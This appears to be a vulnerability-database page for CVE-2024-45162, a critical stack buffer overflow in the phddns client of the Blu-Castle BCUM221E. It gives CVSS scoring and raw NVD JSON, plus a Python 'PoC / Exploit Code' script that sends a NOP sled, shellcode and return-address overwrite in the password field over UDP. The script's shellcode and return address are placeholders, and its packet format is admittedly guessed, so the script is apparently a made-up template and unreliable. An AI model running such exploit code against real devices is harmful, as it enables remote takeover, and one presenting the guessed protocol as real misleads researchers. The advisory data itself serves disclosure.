Security Vulnerability Report
中文
CVE-2024-45162 CVSS 9.8 CRITICAL

CVE-2024-45162

Published: 2025-10-29 14:15:51
Last Modified: 2026-04-15 00:35:42

Description

A stack-based buffer overflow issue was discovered in the phddns client in Blu-Castle BCUM221E 1.0.0P220507 via the password field.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Blu-Castle BCUM221E 1.0.0P220507

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2024-45162 PoC - Blu-Castle BCUM221E phddns Stack Buffer Overflow # This PoC demonstrates sending an oversized password to trigger the overflow import socket import sys def send_exploit(target_ip, target_port, payload_length=1000): """ Send oversized password payload to trigger buffer overflow """ # Construct the payload with NOP sled + shellcode + return address nop_sled = b'\x90' * 200 # Placeholder shellcode - replace with actual MIPS/ARM shellcode for the target shellcode = b'\xcc' * 100 # Overwrite return address with address of NOP sled return_addr = b'\x42\x42\x42\x42' payload = nop_sled + shellcode + return_addr # Construct the exploit packet (format depends on phddns protocol) exploit_packet = b'PHDDNS_AUTH\x00' exploit_packet += b'password=' + payload + b'\x00' try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f'[+] Sending exploit payload ({len(payload)} bytes) to {target_ip}:{target_port}') sock.sendto(exploit_packet, (target_ip, target_port)) print('[+] Payload sent successfully') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_ip> <target_port>') sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-45162", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:50.607", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow issue was discovered in the phddns client in Blu-Castle BCUM221E 1.0.0P220507 via the password field."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://blu-castle.com/", "source": "[email protected]"}, {"url": "https://www.gruppotim.it/it/footer/red-team/2024/CVE-2024-45162-Blu-Castle_BCUM221E1.html", "source": "[email protected]"}]}}